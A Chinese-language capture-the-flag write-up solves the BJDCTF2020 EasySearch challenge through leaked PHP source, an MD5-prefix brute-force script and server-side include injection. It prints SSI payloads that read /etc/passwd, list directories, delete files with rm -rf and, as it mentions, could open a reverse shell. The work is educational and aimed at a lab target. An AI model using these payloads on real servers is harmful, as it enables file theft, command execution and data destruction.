首先嘗試了一下sql注入,但是沒有找到不同回顯。直接用sqlmap掃描一下,因為這邊用的是POST請求,所以需要抓包將請求復制到txt文件中然后使用命令sqlmap -p bp.txt。也沒有發現注入漏洞。
再進行目錄掃描試試:
[02:33:43] 403 - ?337B ?- /.httr-oauth
[02:36:39] 403 - ?333B ?- /public/
/.httr-oauth
?是 R 語言 OAuth 授權的敏感配置文件,服務器禁止外部訪問是正常的安全措施。
/public/
?是公開靜態資源目錄,文件本身應可訪問,403 錯誤可能由權限配置問題導致,需檢查文件權限或服務器規則。
都沒有訪問權限。完全沒有思路了...
看了一眼答案居然是需要用字典掃描網頁備份文件,為什么dirsearch不能掃描出來呢?
<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>
?$admin = '6d0bc1';
? ? ? ? if ( $admin == substr(md5($_POST['password']),0,6))
需滿足該條件,就得找到某字符串的md5編碼前六位是6d0bc1,這里參考[BJDCTF2020]EasySearch (SSI注入漏洞)-CSDN博客的腳本:
import hashlibdef generate_md5(prefix):count = 0while True:data = prefix + str(count)md5_hash = hashlib.md5(data.encode()).hexdigest()if md5_hash.startswith(prefix):return md5_hash, datacount += 1prefix = input("請輸入六個字符的前綴:")
md5_hash, data = generate_md5(prefix)
print("MD5值:", md5_hash)
print("加密前的數據:", data)
然后會將?<h1>Hello,'.$_POST['username'].'</h1>寫入文件"public/".get_hash().".shtml"中。應該是需要植入木馬,但是這里有兩個問題:
1、文件名是通過代碼shal1(uniqid().$random)生成的,其中$random是五位隨機字符串,怎么得到文件名呢?
2、寫入的是shtml文件,并不能植入php一句話木馬,應該植入什么呢?
第一個問題:文件名具有高隨機性,無法破解,所以題目肯定有其他提示。通過抓包可以看到響應中有提示Url_Is_Here: public/e96cae9e326466c68fa54d20e06936b5dc8deb25.shtml
第二個問題:從源碼中我們可以看到,后端直接將用戶輸入放入shtml文件中,存在SSI注入漏洞。
SSI(Server-Side Includes,服務器端包含)注入漏洞是一種因服務器未正確過濾用戶輸入中的 SSI 指令,導致攻擊者可注入惡意 SSI 代碼并被服務器執行的安全漏洞。它主要影響啟用了 SSI 功能的 Web 服務器,攻擊者通過構造惡意請求,可實現文件讀取、命令執行、服務器信息泄露等危害。
一、SSI 技術基礎
SSI 是一種簡單的服務器端腳本技術,允許在 HTML 頁面中嵌入動態指令,服務器在解析頁面時會執行這些指令并將結果替換到頁面中。其核心作用是實現頁面模塊化(如復用導航欄、頁眉頁腳)或動態內容生成(如顯示當前時間、服務器信息)。
?常見的 SSI 指令格式如下:
?html
<!--#指令 參數="值" -->
?例如:
?
- 顯示服務器當前時間:
<!--#echo var="DATE_LOCAL" -->
- 包含其他文件內容:
<!--#include file="header.html" -->
- 執行系統命令(部分服務器支持):
<!--#exec cmd="ls" -->
二、SSI 注入漏洞的成因
SSI 注入漏洞的根本原因是服務器對用戶可控輸入(如表單提交、URL 參數、Cookie 等)未進行嚴格過濾或轉義,導致攻擊者可將惡意 SSI 指令注入到網頁中,且服務器會執行這些指令。
?具體場景包括:
?
- 用戶輸入直接嵌入頁面:例如網站允許用戶提交評論、留言等內容,且未過濾
<--#
等 SSI 指令特征,導致惡意指令被寫入頁面并被服務器執行。- 文件上傳漏洞結合 SSI:攻擊者上傳包含 SSI 指令的文件(如
.shtml
、.html
),若服務器允許該文件被解析為 SSI 頁面,則指令會被執行。- 動態頁面生成缺陷:服務器在動態生成頁面時,將用戶輸入直接拼接進 HTML,且未處理 SSI 特殊語法,導致注入。
三、漏洞危害
SSI 注入的危害程度取決于服務器配置的 SSI 權限,可能包括:
?
信息泄露:
通過<!--#echo var="VAR_NAME" -->
指令獲取服務器環境變量(如操作系統版本、Web 服務器類型、用戶權限等)。
例如:<!--#echo var="HTTP_USER_AGENT" -->
(獲取瀏覽器信息)、<!--#echo var="SERVER_SOFTWARE" -->
(獲取服務器軟件版本)。文件讀取:
通過<!--#include file="文件路徑" -->
指令讀取服務器上的敏感文件(如配置文件、密碼文件、日志文件等)。
例如:<!--#include file="/etc/passwd" -->
(讀取 Linux 用戶列表)、<!--#include file="../config.php" -->
(讀取網站配置)。遠程命令執行:
若服務器啟用了exec
等危險 SSI 指令(如 Apache 的Options +IncludesNOEXEC
配置被禁用),攻擊者可直接執行系統命令。
例如:<!--#exec cmd="whoami" -->
(查看當前用戶)、<!--#exec cmd="rm -rf /tmp/*" -->
(刪除文件),甚至反彈 shell 控制服務器。頁面篡改:
通過注入指令修改頁面內容,誤導用戶或傳播惡意信息。
感覺和模板注入很像。
這里我們直接注入命令執行,令$_POST['username']=<!--#exec cmd="ls /" -->
不在根目錄中,那就從當前工作目錄開始一級一級向上訪問。
更簡便的是使用"find / -name "*flag*""命令,但是這里我試了沒成功,不知道為什么,有可能是靶機用的輕量級linux系統沒有find命令。
在上級目錄中我們能找到有flag_990c66bf85a09c664f0b6741840499b2文件。
總結一下:1、源碼泄露,這道題內容極少,沒有任何線索,那么大概率是需要獲得源碼的,使用dirsearch掃描沒什么發現,需要進一步用bp掃描備份文件。2、一個特殊的md5繞過,我們可以通過腳本構造一個字符串,使其md5編碼帶有特定前綴。3、基礎的SSI注入,原理和其他注入漏洞類似,將用戶的輸入直接放入可執行文件,這里是shtml文件。